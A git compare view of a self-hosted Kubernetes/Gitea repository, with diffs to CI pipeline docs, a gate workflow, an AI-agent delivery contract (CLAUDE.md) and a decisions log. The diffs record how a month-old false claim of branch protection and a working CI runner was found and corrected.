Compare commits
69
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7df72db487 | ||
|
|
a78f010368 | ||
|
|
0fbf544d5e | ||
|
|
8427b28b0e | ||
|
|
64c72fd394 | ||
|
|
1ea73544c9 | ||
|
|
296d6d3275 | ||
|
|
55b232e2ce | ||
|
|
b93594b7c8 | ||
|
|
0749562ad0 | ||
|
|
76b265cd62 | ||
|
|
f6e8fb1fee | ||
|
|
6ef4def2b5 | ||
|
|
cac5c9f2a3 | ||
|
|
762c3833fc | ||
|
|
6dd0914df9 | ||
|
|
ad5de2dba9 | ||
|
|
b105c764fc | ||
|
|
ab9ba32a76 | ||
|
|
529556d7c7 | ||
|
|
8619c60e6e | ||
|
|
01679a0681 | ||
|
|
ea0c0632d2 | ||
|
|
ae5c7385a5 | ||
|
|
19f9a8ae0c | ||
|
|
c59fe9f923 | ||
|
|
72a46ad82d | ||
|
|
cadf64a514 | ||
|
|
cfbc596b8b | ||
|
|
c59a4b76bb | ||
|
|
cd2617e5b3 | ||
|
|
8697702d51 | ||
|
|
d29a73cad8 | ||
|
|
07f03536b3 | ||
|
|
e993d0f7d1 | ||
|
|
0c6949ed98 | ||
|
|
20ea70d221 | ||
|
|
8c7a770de2 | ||
|
|
1c5974013e | ||
|
|
4791d4a43a | ||
|
|
dfd608ac32 | ||
|
|
1d2d9d6549 | ||
|
|
4b31f97486 | ||
|
|
50a48e6f07 | ||
|
|
911ead5fbd | ||
|
|
8eb5baffa4 | ||
|
|
4634b44cc7 | ||
|
|
6586919132 | ||
|
|
e6f6e4febb | ||
|
|
e8e6b9c681 | ||
|
|
fcc66c7858 | ||
|
|
b9e8a4f9e8 | ||
|
|
b2d9883958 | ||
|
|
00efd4b828 | ||
|
|
67a54a33a4 | ||
|
|
db1a623073 | ||
|
|
ce271225de | ||
|
|
e72050c690 | ||
|
|
761e25cc3f | ||
|
|
e7508931ca | ||
|
|
bf98a99af6 | ||
|
|
8e017fad91 | ||
|
|
27d0ef3324 | ||
|
|
bbd4f682a6 | ||
|
|
0391139240 | ||
|
|
e9f441b5ce | ||
|
|
234cc6a71a | ||
|
|
69a0d1a1c7 | ||
|
|
4fd75ccdaa |
No files matched your search
+29
-15
@@ -15,7 +15,7 @@ it touches is green** (R-TEST-03).
|
|||||||
## The pipeline
|
## The pipeline
|
||||||
|
|
||||||
```
|
```
|
||||||
lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
|
decisions-log ─▶ lint ─▶ l0 (schema + Kyverno) ─▶ render-golden ─▶ l1 (rendering) ─▶ conformance (L2/L3) ─▶ merge-gate decision
|
||||||
└──────────────── run in CI, NO cluster ────────────────┘ └── in-cluster Chainsaw Job ──┘
|
└──────────────── run in CI, NO cluster ────────────────┘ └── in-cluster Chainsaw Job ──┘
|
||||||
live now cluster-gated (SKIPS in Phase 0)
|
live now cluster-gated (SKIPS in Phase 0)
|
||||||
```
|
```
|
||||||
@@ -40,9 +40,15 @@ and ADR-0011: **CI holds no broad kubeconfig.** L2/L3 run as an in-cluster **Cha
|
|||||||
*collects* its artifacts, using a narrow trigger credential referenced **by secret name only**
|
*collects* its artifacts, using a narrow trigger credential referenced **by secret name only**
|
||||||
(`secrets.CONFORMANCE_TRIGGER_KUBECONFIG`) — never a plaintext secret, never a cluster-admin kubeconfig.
|
(`secrets.CONFORMANCE_TRIGGER_KUBECONFIG`) — never a plaintext secret, never a cluster-admin kubeconfig.
|
||||||
|
|
||||||
## Honest SKIP — never fake green (Phase 0)
|
## Honest SKIP — never fake green
|
||||||
|
|
||||||
**No cluster exists in Phase 0.** The gate is deliberately built so unavailable checks **SKIP loudly,
|
**NOTE (2026-09-29):** this section is written in the past's voice — "Phase 0", "no cluster
|
||||||
|
exists". **A cluster has existed for weeks** and Flux has been reconciling against it. The
|
||||||
|
skip logic below is still correct and still honest, but read it as describing a **live
|
||||||
|
coverage gap** (L2/L3 is not wired into CI) rather than an expected phase. Its being
|
||||||
|
phrased as a phase is part of why the gap went unexamined.
|
||||||
|
|
||||||
|
Originally: The gate is deliberately built so unavailable checks **SKIP loudly,
|
||||||
they do not pass**:
|
they do not pass**:
|
||||||
|
|
||||||
- The `conformance` job is `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}` — with no cluster it is
|
- The `conformance` job is `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}` — with no cluster it is
|
||||||
@@ -77,21 +83,29 @@ Both dirs are git-ignored (see [`.gitignore`](../../.gitignore)).
|
|||||||
## Triggers & branch model (CONTRIBUTING.md)
|
## Triggers & branch model (CONTRIBUTING.md)
|
||||||
|
|
||||||
- `pull_request` → `main`: **PRs are the enforced merge gate into `main`.**
|
- `pull_request` → `main`: **PRs are the enforced merge gate into `main`.**
|
||||||
- `push` → `feature/**`, `fix/**`, `docs/**`, `chore/**`: fast feedback on the branch. **No work on `main`.**
|
- `push` → `main` only. The per-branch prefix list was removed: `act_runner` runs at capacity 1,
|
||||||
|
so a branch push fires a redundant run that serialises *ahead* of the PR run for the same tree.
|
||||||
|
**No work on `main`** — and since 2026-09-29 that is enforced, not conventional: `main` is a
|
||||||
|
protected branch and a direct push is rejected by the pre-receive hook (verified, not assumed).
|
||||||
|
|
||||||
## Transition: generic-CI-now → Gitea-Actions-after-Gitea-is-up
|
## Transition: COMPLETE (2026-09-29)
|
||||||
|
|
||||||
Per [`CONTRIBUTING.md`](../../../home-network-k3s/CONTRIBUTING.md) and
|
This section used to describe a migration as pending. It has happened. Gitea is live at
|
||||||
[`docs/05` §"local bootstrap → self-hosted Gitea"](../../../home-network-k3s/docs/05-gitops-and-delivery.md):
|
`gitea.home.keithjackson.dev`, the runner `incluster-dind` is registered and online, and
|
||||||
|
`gate.yml` runs on every PR.
|
||||||
|
|
||||||
1. **Now (interim):** there is **no remote git host** on this network. This workflow file is dormant —
|
**What took a month to notice:** the migration was recorded as done on 2026-08-31 without
|
||||||
but the **identical gate runs locally today** via `make -C ci gate` (R-TEST-02). Development is
|
anyone checking the platform. In reality `main` had **no branch protection** and **zero
|
||||||
local feature-branch → `main`, the gate enforced by convention + the local runner.
|
runners were registered** until 2026-09-29. Every "the gate enforces this" statement in
|
||||||
2. **Gitea comes online early** (one of the first services onboarded) at `gitea.home.keithjackson.dev`.
|
between rested on an assertion nobody verified. PR #1 — the first pull request this
|
||||||
3. **CI moves to Gitea Actions:** this workflow activates unchanged. The only operational steps are
|
repository ever had — sat `pending` for 30.6 minutes because nothing existed to run it.
|
||||||
enabling a Gitea Actions runner and setting `vars.CLUSTER_AVAILABLE=true` +
|
|
||||||
`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` once a dev/test cluster exists. PRs then become the
|
So: **do not read this file, or the DECISIONS-LOG, as evidence about the live platform.**
|
||||||
**platform-enforced** merge gate — the same no-work-in-main rule, now enforced by machine.
|
Query the API. `infra/gitea/` holds the scripts and the measured state.
|
||||||
|
|
||||||
|
Still genuinely outstanding: `vars.CLUSTER_AVAILABLE` and
|
||||||
|
`secrets.CONFORMANCE_TRIGGER_KUBECONFIG` are unset, so L2/L3 conformance does not run in
|
||||||
|
CI. That is a real coverage gap, not a phase.
|
||||||
|
|
||||||
## Configuration (set in Gitea; referenced by name only)
|
## Configuration (set in Gitea; referenced by name only)
|
||||||
|
|
||||||
|
|||||||
@@ -44,16 +44,31 @@
|
|||||||
---
|
---
|
||||||
name: gate
|
name: gate
|
||||||
|
|
||||||
|
# TRIGGERS — deliberately only `pull_request` into main, plus `push` to main itself.
|
||||||
|
#
|
||||||
|
# There is NO per-branch push trigger. There used to be a prefix list (feature/** fix/**
|
||||||
|
# docs/** chore/**) for "fast feedback on the branch", and it was a net negative here:
|
||||||
|
#
|
||||||
|
# * `act_runner` runs at capacity 1. A branch push and its PR fire the SAME gate over the
|
||||||
|
# SAME tree, and the redundant run SERIALISES AHEAD of the PR run — doubling the wall
|
||||||
|
# clock on the one result that actually gates the merge. That cost real time during the
|
||||||
|
# 2026-09-29 plex claim, where the loop is racing a short-lived token.
|
||||||
|
# * The list silently did not match this repo's own convention. Branches here are `feat/**`,
|
||||||
|
# which was absent, so the "fast feedback" never fired for the most common prefix anyway —
|
||||||
|
# a mismatch nobody noticed for a month because its only symptom was a MISSING run.
|
||||||
|
# Any hand-maintained prefix list has that failure mode; deleting it removes the class.
|
||||||
|
# * It is redundant. CLAUDE.md already requires `./ci/gate.sh` in the pinned toolbox before
|
||||||
|
# you push (74s locally), and the PR gate re-runs it authoritatively. A third run of the
|
||||||
|
# same checks buys nothing.
|
||||||
|
#
|
||||||
|
# `push: [main]` is KEPT: post-merge main must still be verified, and it is the only run for
|
||||||
|
# which no PR context exists.
|
||||||
on:
|
on:
|
||||||
pull_request:
|
pull_request:
|
||||||
branches: [main]
|
branches: [main]
|
||||||
push:
|
push:
|
||||||
branches:
|
branches:
|
||||||
- main
|
- main
|
||||||
- 'feature/**'
|
|
||||||
- 'fix/**'
|
|
||||||
- 'docs/**'
|
|
||||||
- 'chore/**'
|
|
||||||
|
|
||||||
concurrency:
|
concurrency:
|
||||||
group: gate-${{ github.ref }}
|
group: gate-${{ github.ref }}
|
||||||
@@ -95,9 +110,31 @@ jobs:
|
|||||||
# UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
|
# UNVERIFIED and NAMED in the PASS headline, never faked green. GATE_STRICT_SKIPS + the
|
||||||
# tolerated exit 3 are explained in the file header; the tolerance covers exactly one
|
# tolerated exit 3 are explained in the file header; the tolerance covers exactly one
|
||||||
# thing, the unverifiable spec repo, and nothing else can produce a 3 here.
|
# thing, the unverifiable spec repo, and nothing else can produce a 3 here.
|
||||||
|
# GITEA_SETTINGS_TOKEN feeds ci/gitea-settings.sh, the only check that can see Gitea's
|
||||||
|
# OWN database (branch protection + runner registration) — the blind spot that let `main`
|
||||||
|
# sit unprotected with zero runners for a month while this repo recorded both as working.
|
||||||
|
# Referenced BY NAME only; create it with infra/gitea/set-ci-token.sh.
|
||||||
|
#
|
||||||
|
# WIDENED TOLERANCE, DECLARED: `|| [ "$?" -eq 3 ]` used to cover exactly one skip
|
||||||
|
# (spec-immutability). It now also covers gitea-settings skipping when that secret is
|
||||||
|
# absent. That is a deliberate, temporary weakening: making an unwired credential BLOCK
|
||||||
|
# every PR is the lock-yourself-out failure this repo keeps walking into. Once the secret
|
||||||
|
# exists and the stage has been SEEN green, set REQUIRE_GITEA_SETTINGS=true below and the
|
||||||
|
# tolerance narrows back to spec-immutability alone.
|
||||||
- name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
|
- name: Merge gate — ci/gate.sh (what `make -C ci gate` runs)
|
||||||
env:
|
env:
|
||||||
GATE_STRICT_SKIPS: "true"
|
GATE_STRICT_SKIPS: "true"
|
||||||
|
SETTINGS_API_TOKEN: ${{ secrets.SETTINGS_API_TOKEN }}
|
||||||
|
# ENABLED 2026-09-29. A skip of gitea-settings now BLOCKS instead of degrading to
|
||||||
|
# UNDETERMINED. Safe because THIS PR's own CI run is the proof: if the stage were
|
||||||
|
# skipping, this line turns that into a failure and the PR goes red instead of
|
||||||
|
# merging. Green here means the token resolved and the live Gitea matched the
|
||||||
|
# declaration in infra/gitea/expected-branch-protection.json.
|
||||||
|
REQUIRE_GITEA_SETTINGS: "true"
|
||||||
|
# ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
|
||||||
|
# PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
|
||||||
|
GITHUB_EVENT_NAME: ${{ github.event_name }}
|
||||||
|
PR_NUMBER: ${{ github.event.pull_request.number }}
|
||||||
run: ./ci/gate.sh || [ "$?" -eq 3 ]
|
run: ./ci/gate.sh || [ "$?" -eq 3 ]
|
||||||
|
|
||||||
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
|
# NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4
|
||||||
|
|||||||
@@ -11,11 +11,14 @@
|
|||||||
# v
|
# v
|
||||||
# merge-gate decision [R-TEST-03: touched subset green]
|
# merge-gate decision [R-TEST-03: touched subset green]
|
||||||
#
|
#
|
||||||
# Transition (CONTRIBUTING.md / docs/05 §"local bootstrap -> self-hosted Gitea"):
|
# STATUS (corrected 2026-09-29): Gitea IS hosted and Gitea Actions IS enabled; the runner
|
||||||
# Today there is no Gitea host, so this file is dormant. The SAME gate is runnable
|
# `incluster-dind` is online and gate.yml is the live PR gate. The text that used to sit here
|
||||||
# now via `make -C ci gate` (R-TEST-02). Once Gitea is self-hosted and Gitea
|
# ("Today there is no Gitea host, so this file is dormant") was stale by weeks -- it was written
|
||||||
# Actions is enabled, this workflow becomes the ENFORCED PR merge gate into main —
|
# as a plan and never revisited once the plan completed.
|
||||||
# no code change required, only turning on the runner and setting CLUSTER_AVAILABLE.
|
#
|
||||||
|
# THIS file is still dormant, but for the reason in the DORMANT block below -- its spec checkout
|
||||||
|
# and L2/L3 seams are unwired -- NOT because there is no host. Do not read a stale plan as a
|
||||||
|
# statement about the live platform; query the API instead (see infra/gitea/).
|
||||||
#
|
#
|
||||||
# CI holds NO broad kubeconfig. L2/L3 run as an in-cluster Chainsaw Job whose own
|
# CI holds NO broad kubeconfig. L2/L3 run as an in-cluster Chainsaw Job whose own
|
||||||
# scoped ServiceAccount holds cluster access (docs/14, R-SEC-02); CI uses only a
|
# scoped ServiceAccount holds cluster access (docs/14, R-SEC-02); CI uses only a
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
# CLAUDE.md — how work lands in this repo
|
# CLAUDE.md — how work lands in this repo
|
||||||
|
|
||||||
Read this before doing anything durable. It is the delivery contract for AI coding
|
Read this before doing anything durable. It is the delivery contract for AI coding
|
||||||
sessions and agents. `DECISIONS-LOG.md`'s last entry is the current PM handoff and
|
sessions and agents. The newest entry in `decisions/` is the current PM handoff and
|
||||||
takes precedence on *what* to work on; this file governs *how* it lands.
|
takes precedence on *what* to work on; this file governs *how* it lands.
|
||||||
|
|
||||||
## 1. Never push to `main`. Ever.
|
## 1. Never push to `main`. Ever.
|
||||||
@@ -14,7 +14,28 @@ There is no other path. Specifically:
|
|||||||
|
|
||||||
- **Do not `git push origin main`.**
|
- **Do not `git push origin main`.**
|
||||||
- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
|
- **Do not `git push origin HEAD:main`.** Same thing wearing a hat.
|
||||||
- **Do not merge your own PR.** A human approves and clicks merge.
|
- **Do not merge your own PR.** See the approval model below — and either way, the merge is
|
||||||
|
someone else's action, never yours.
|
||||||
|
|
||||||
|
### Who approves
|
||||||
|
|
||||||
|
**The CI/CD pipeline is the approver.** A green gate is sufficient for an ordinary change; the
|
||||||
|
branch requires no human approval for one. That is a deliberate transfer of authority, on the
|
||||||
|
operator's stated principle: *if the pipeline is not good enough to be trusted for this, it is not
|
||||||
|
good enough to do its job and needs improving* — so a weak gate is a bug to fix, not a reason to
|
||||||
|
add a human.
|
||||||
|
|
||||||
|
**One exception, enforced by `ci/approval-policy.sh`:** a change to the pipeline itself, the
|
||||||
|
admission policies, the Flux wiring, the SOPS recipients, the RBAC, or this file needs an
|
||||||
|
approving review from someone who is not its author. The reason is narrow and structural — **a
|
||||||
|
change to the gate cannot be gated by the gate.** A PR that weakens a check would be approved by
|
||||||
|
the weakened check. Everything else merges on green.
|
||||||
|
|
||||||
|
The path list is data, with a reason per entry: `infra/gitea/approval-policy.json`. It is itself a
|
||||||
|
sensitive path, so the policy cannot be widened or narrowed without a human.
|
||||||
|
|
||||||
|
That stage is **fail-closed** — if it cannot evaluate, it blocks. Unlike `gitea-settings`, where a
|
||||||
|
missing credential is a lock-out, here a skip would be a bypass.
|
||||||
- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
|
- **Do not `kubectl apply` / `edit` / `patch` a durable change.** Flux reconciles `main`;
|
||||||
anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
|
anything applied by hand is drift that the next reconcile reverts or, worse, adopts.
|
||||||
|
|
||||||
@@ -23,25 +44,58 @@ There is no other path. Specifically:
|
|||||||
> (main is what the cluster follows), not what you are permitted to do. Honour this
|
> (main is what the cluster follows), not what you are permitted to do. Honour this
|
||||||
> file, not that line. Fixing those runbooks is tracked work.
|
> file, not that line. Fixing those runbooks is tracked work.
|
||||||
|
|
||||||
## 2. Enforcement is currently WEAKER than this rule. Follow the rule anyway.
|
## 2. Enforcement (as of 2026-09-29: the rule is now MACHINE-ENFORCED)
|
||||||
|
|
||||||
Verified against the live Gitea on 2026-09-29:
|
Verified against the live Gitea on 2026-09-29:
|
||||||
|
|
||||||
| Expected | Actual |
|
| Expected | Actual |
|
||||||
|---|---|
|
|---|---|
|
||||||
| `main` protected, direct push rejected | **No branch protection.** `protected: false`, `user_can_push: true` |
|
| `main` protected, direct push rejected | ✅ `protected: true`, `user_can_push: false` — **verified by a real rejected push**, not by the API's word |
|
||||||
| PR blocked until the gate passes | **`enable_status_check: false`**, `status_check_contexts: []` |
|
| PR blocked until the gate passes | ✅ `enable_status_check: true`, context `gate / gate (pull_request)` |
|
||||||
| Gate runs on every PR | **No Actions runner is registered** (repo, org and site level all report zero) |
|
| Gate runs on every PR | ✅ runner `incluster-dind` online; ~1m35s |
|
||||||
| Approval required before merge | **`required_approvals: 0`** |
|
| Approval required before merge | ✅ `required_approvals: 1` |
|
||||||
|
|
||||||
So nothing mechanically stops you from pushing to `main` right now. **That is a gap
|
All four were FALSE as recently as 2026-09-29, while this repo's own log asserted they were
|
||||||
being closed, not permission.** `DECISIONS-LOG.md` (2026-08-31) claims the gate is a
|
true. They are true now because each was measured, and the push rejection was provoked rather
|
||||||
"required status check" with a runner online; that claim is not true of the live
|
than assumed. **Re-measure before relying on any of them** — see §2b.
|
||||||
system, which is how this went unnoticed.
|
|
||||||
|
|
||||||
**Consequence for you:** because CI cannot run, the **local toolbox gate is the only
|
Still not covered: `vars.CLUSTER_AVAILABLE` is unset, so **L2/L3 conformance does not run in
|
||||||
real gate**. Run it and quote its numbers in your report. Never describe a PR as
|
CI**. A green PR therefore proves the L0/L1 offline subset, not runtime behaviour.
|
||||||
"green" on the strength of CI that did not execute.
|
|
||||||
|
**Consequence for you:** CI now runs, but it does not yet *block* anything. Always run
|
||||||
|
the toolbox gate yourself and quote its numbers. Never describe a PR as "green" on the
|
||||||
|
strength of a check you have not seen report — and note that a **skipped** Gitea job
|
||||||
|
reports as `success`, so a green tick is not by itself evidence that anything ran.
|
||||||
|
|
||||||
|
## 2b. Never infer platform state from this repository
|
||||||
|
|
||||||
|
**This repo is not evidence about the live platform.** Neither is the handoff log
|
||||||
|
(`decisions/`, and the frozen `DECISIONS-LOG.md` archive). Both describe what someone
|
||||||
|
believed at the time of writing, and both have been confidently wrong for a month at a
|
||||||
|
stretch.
|
||||||
|
|
||||||
|
On 2026-09-29 the log stated the merge gate was a required status check with a runner
|
||||||
|
online. The API said `branch_protections: []` and **zero** runners. Everything downstream
|
||||||
|
of that belief — "the gate enforces this", "your push would be rejected", "CI covers it" —
|
||||||
|
was wrong, and nothing in the tree could have revealed it, because the tree was the source
|
||||||
|
of the error.
|
||||||
|
|
||||||
|
**So, before asserting that any gate, protection, runner, secret, or workload is in a
|
||||||
|
given state: query the thing itself.**
|
||||||
|
|
||||||
|
| Claim about... | Check |
|
||||||
|
|---|---|
|
||||||
|
| branch protection / required checks | `GET /api/v1/repos/{owner}/{repo}/branches/main` |
|
||||||
|
| a runner exists | `GET /api/v1/admin/actions/runners` |
|
||||||
|
| CI actually ran | the commit's `/statuses` — and read the **description**; a *skipped* Gitea job reports `success` with "Has been skipped" |
|
||||||
|
| a workload / Secret / env | `kubectl --context k3s-prod ...` (read-only is fine for agents) |
|
||||||
|
| Flux applied your commit | compare `.status.lastAppliedRevision` against the GitRepository's artifact revision |
|
||||||
|
|
||||||
|
Quote the measured field, not the prose. If you cannot measure it, say so explicitly —
|
||||||
|
"unverified" is a legitimate report, and a far better one than a confident guess that
|
||||||
|
matches the docs.
|
||||||
|
|
||||||
|
**A green tick is not proof anything ran.** Read what actually executed.
|
||||||
|
|
||||||
## 3. Gate before you push
|
## 3. Gate before you push
|
||||||
|
|
||||||
@@ -107,9 +161,32 @@ invocations concurrently.
|
|||||||
flow. Do not design around committing one — read the expiry from the issuing page and
|
flow. Do not design around committing one — read the expiry from the issuing page and
|
||||||
treat a burnt token as free to retry.
|
treat a burnt token as free to retry.
|
||||||
|
|
||||||
## 7. Before you finish
|
## 7. Before you finish — write a handoff entry, in its OWN file
|
||||||
|
|
||||||
Append a handoff entry to `DECISIONS-LOG.md` describing what you changed, what you
|
Add **one new file**:
|
||||||
verified, and what you did **not** verify. State gaps plainly — an honest
|
|
||||||
"UNVERIFIED" is worth more than an optimistic "green", and this repo has already been
|
decisions/YYYY-MM-DD-<slug>.md <slug> = your branch's last segment
|
||||||
burned by the difference.
|
|
||||||
|
with frontmatter (`date`, `branch`, `title`) and exactly these three sections:
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
## What I verified
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
State gaps plainly — an honest "UNVERIFIED" is worth more than an optimistic "green",
|
||||||
|
and this repo has already been burned by the difference. All three headings are
|
||||||
|
**enforced** by `ci/decisions-log.sh`, because the third is the one that gets dropped.
|
||||||
|
Template and full rationale: `decisions/README.md`.
|
||||||
|
|
||||||
|
**Do NOT append to `DECISIONS-LOG.md`.** It is a frozen archive (pre-2026-09-29), its
|
||||||
|
SHA-256 is pinned in `decisions/ARCHIVE.sha256`, and the merge gate rejects any change
|
||||||
|
to it. Appending to its tail is what every agent used to do, and because every branch
|
||||||
|
appended to the *same last hunk*, no two concurrent branches could auto-merge. Measured
|
||||||
|
on 2026-09-29: **four of the five open PRs were `mergeable: false`, with
|
||||||
|
`DECISIONS-LOG.md` the only conflicting path in all four** — none of those changes had
|
||||||
|
anything to do with each other. Separate files have nothing to merge, which is the
|
||||||
|
entire fix. Note that the damage from getting this wrong lands on *other people's*
|
||||||
|
branches, later, which is why it is a gate stage and not a request.
|
||||||
|
|
||||||
|
Many older handoff entries and runbooks say "append to `DECISIONS-LOG.md`". That
|
||||||
|
wording is **stale**, in the same way §1's `git push origin main` wording is stale.
|
||||||
@@ -1,3 +1,16 @@
|
|||||||
|
> **FROZEN ARCHIVE — 2026-08-16 … 2026-09-29. Do not append to this file.**
|
||||||
|
>
|
||||||
|
> New handoff entries go in **`decisions/`**, one file per entry
|
||||||
|
> (`decisions/YYYY-MM-DD-<slug>.md`). See [`decisions/README.md`](decisions/README.md).
|
||||||
|
>
|
||||||
|
> Why: every agent appended to this file's tail, so any two concurrent branches
|
||||||
|
> conflicted on the same last hunk. On 2026-09-29 that made four of the five open PRs
|
||||||
|
> unmergeable, with this file as the *only* conflicting path in all four. Separate files
|
||||||
|
> have nothing to merge.
|
||||||
|
>
|
||||||
|
> This file's SHA-256 is pinned in `decisions/ARCHIVE.sha256` and the merge gate
|
||||||
|
> (`ci/decisions-log.sh`) rejects any change to it.
|
||||||
|
|
||||||
# Autonomous Session Decision Log (PM)
|
# Autonomous Session Decision Log (PM)
|
||||||
|
|
||||||
Program Manager working independently while the operator is AFK (started 2026-08-16). Every
|
Program Manager working independently while the operator is AFK (started 2026-08-16). Every
|
||||||
@@ -1192,6 +1205,13 @@ fresh agent should read this entry + `infra/PHASE1-STATUS.md` + `docs/plans/` an
|
|||||||
Platform-admins require TOTP MFA.
|
Platform-admins require TOTP MFA.
|
||||||
- **Gitea Actions CI is LIVE + enforcing**: `.gitea/workflows/gate.yml` runs `make -C ci gate` on push/PR to main;
|
- **Gitea Actions CI is LIVE + enforcing**: `.gitea/workflows/gate.yml` runs `make -C ci gate` on push/PR to main;
|
||||||
required status check; runner `incluster-dind` online (ns gitea-actions).
|
required status check; runner `incluster-dind` online (ns gitea-actions).
|
||||||
|
> **[CORRECTION, 2026-09-29 — THIS BULLET WAS FALSE WHEN WRITTEN AND STAYED FALSE FOR A MONTH.]**
|
||||||
|
> Measured against the live Gitea API on 2026-09-29: `branch_protections` returned `[]` (`main`
|
||||||
|
> `protected:false`, `enable_status_check:false`, `user_can_push:true`) and **zero** Actions runners
|
||||||
|
> were registered at repo, org or site level. The gate was neither enforced nor able to run. PR #1
|
||||||
|
> — the first pull request this repo ever had — was opened on 2026-09-29 and sat `pending` for
|
||||||
|
> 30.6 minutes with nothing to execute it. Both halves of this bullet were asserted, not verified.
|
||||||
|
> See the 2026-09-29 entries for the root cause and the fix.
|
||||||
|
|
||||||
### What changed this session (durable)
|
### What changed this session (durable)
|
||||||
1. **SSO cluster-wide break→fix — root cause Cilium CVE-2025-30162.** The 1.16→1.20 security fix makes the shared
|
1. **SSO cluster-wide break→fix — root cause Cilium CVE-2025-30162.** The 1.16→1.20 security fix makes the shared
|
||||||
@@ -4781,3 +4801,933 @@ accurate before the PR flow and are stale now. Correcting them is tracked, not d
|
|||||||
3. Land `feat/plex-claim-sops-secret` (PR #1) once the gate can actually run.
|
3. Land `feat/plex-claim-sops-secret` (PR #1) once the gate can actually run.
|
||||||
4. Claim plex, after checking it is not already claimed.
|
4. Claim plex, after checking it is not already claimed.
|
||||||
5. Correct the 37 runbooks' `git push origin main` wording.
|
5. Correct the 37 runbooks' `git push origin main` wording.
|
||||||
|
|
||||||
|
## 2026-09-29 — Plex is claimed; the CI/CD gate that "enforced" it never existed. **PM HANDOFF.**
|
||||||
|
|
||||||
|
Began as "inject a plex.tv claim token". Ended by discovering the delivery pipeline was fiction,
|
||||||
|
rebuilding it, and shipping the token through it. Plex is **claimed** — `PlexOnlineToken` is
|
||||||
|
present in `/config` on the `plex-config` PVC, so the exchange is now a permanent no-op and the
|
||||||
|
library scan is running over the 8.33T NFS share.
|
||||||
|
|
||||||
|
### The finding: both halves of the 2026-08-31 CI claim were false
|
||||||
|
|
||||||
|
That entry recorded "Gitea Actions CI is LIVE + enforcing … required status check; runner
|
||||||
|
`incluster-dind` online". Measured against the live API on 2026-09-29:
|
||||||
|
|
||||||
|
| Claimed | Measured |
|
||||||
|
|---|---|
|
||||||
|
| `main` protected, gate required | `branch_protections` → `[]`; `protected:false`, `enable_status_check:false`, `required_approvals:0`, `user_can_push:true` |
|
||||||
|
| Runner online | **zero** runners at repo, org AND site level |
|
||||||
|
|
||||||
|
**PR #1 was the first pull request this repository has ever had.** Its contexts sat `pending`
|
||||||
|
for 30.6 minutes across 122 polls and never reported. For a month, every "the gate enforces this"
|
||||||
|
statement rested on an assertion nobody had checked — the same fail-open class as 2026-09-18,
|
||||||
|
and the reason it hid so long is that the log itself was the evidence.
|
||||||
|
|
||||||
|
### Root cause of the dead runner
|
||||||
|
|
||||||
|
`act_runner` registers **once** and persists its identity in `/data/.runner` on the
|
||||||
|
`act-runner-data` PVC. Gitea no longer held a matching row, so the pod booted, saw `.runner`,
|
||||||
|
**skipped registration**, and polled with an identity Gitea did not recognise. Symptom: zero
|
||||||
|
runners, pod Running, nothing crashlooping, no error anyone reads. Deleting the PVC forced a
|
||||||
|
genuine re-registration (`.runner is missing` → `Runner registered successfully`).
|
||||||
|
|
||||||
|
It then did not come back for several minutes, because Flux could not recreate the PVC:
|
||||||
|
`apps-wave-1` was blocked four levels deep on a **stale** `DependencyNotReady` for
|
||||||
|
`platform-config`, which itself read `Ready=True`. Each wave re-evaluates only on its own
|
||||||
|
`interval: 10m`, so a resource deleted at the bottom of the chain can take ~40 min to return.
|
||||||
|
**Force it** with `flux reconcile kustomization apps-wave-1 --with-source` rather than waiting.
|
||||||
|
|
||||||
|
### Corrections to things this log and the runbooks asserted
|
||||||
|
|
||||||
|
- **A skipped Gitea job reports `success`, not pending.** Measured: `gate / conformance` returned
|
||||||
|
`success` / "Has been skipped". An earlier entry (#2) said requiring it would deadlock every PR.
|
||||||
|
Wrong — it would pass **vacuously**, forever, while nothing ran. Under HARD RULE 4 that is worse
|
||||||
|
than a deadlock, because a deadlock is loud. Never require it; require
|
||||||
|
`gate / gate (pull_request)` alone. Corrected in #3.
|
||||||
|
- **`gate.yml`'s push trigger omits `feat/**`** (it lists `feature/** fix/** docs/** chore/**`).
|
||||||
|
With `act_runner` capacity 1, a branch prefix that IS in that list fires a second redundant run
|
||||||
|
which serialises ahead of the PR run and doubles wall-clock. Exploited deliberately in
|
||||||
|
`infra/plex/claim-ship.sh`; the honest fix is to align the trigger list.
|
||||||
|
- **The "~4-minute TTL"** asserted in four places was **uncited**, and upstream `pms-docker`
|
||||||
|
documents no expiry at all. The authoritative reading is the countdown plex.tv/claim renders at
|
||||||
|
issue time. Removed from `runbooks/plex-claim.md`; the same claim still sits in
|
||||||
|
`catalog/plex.yaml` and the Secret's header comment (left alone — editing a `.sops.yaml`
|
||||||
|
comment risks the MAC, and touching `catalog/plex.yaml` re-renders a golden).
|
||||||
|
|
||||||
|
### Measured, once the pipeline actually worked
|
||||||
|
|
||||||
|
`gate / gate (pull_request)` 1m34s–1m58s. Full claim loop end to end **~2m45s** — comfortably
|
||||||
|
inside the window, which retires the theory that a short-lived token cannot survive a PR flow.
|
||||||
|
That theory was mine and it was wrong: the pipeline was never too slow, it simply did not exist.
|
||||||
|
|
||||||
|
### State now
|
||||||
|
|
||||||
|
- `main` **protected**, `user_can_push:false`. Runner `incluster-dind` online.
|
||||||
|
- `CLAUDE.md` is the agent delivery contract; `infra/gitea/` holds the protection + runner scripts.
|
||||||
|
- **All 37 runbooks** that instructed `git push origin main` now describe the PR flow — that
|
||||||
|
instruction had become actively blocked, not merely stale.
|
||||||
|
- `infra/plex/claim-ship.sh` drives the claim loop end to end.
|
||||||
|
|
||||||
|
### Next steps
|
||||||
|
|
||||||
|
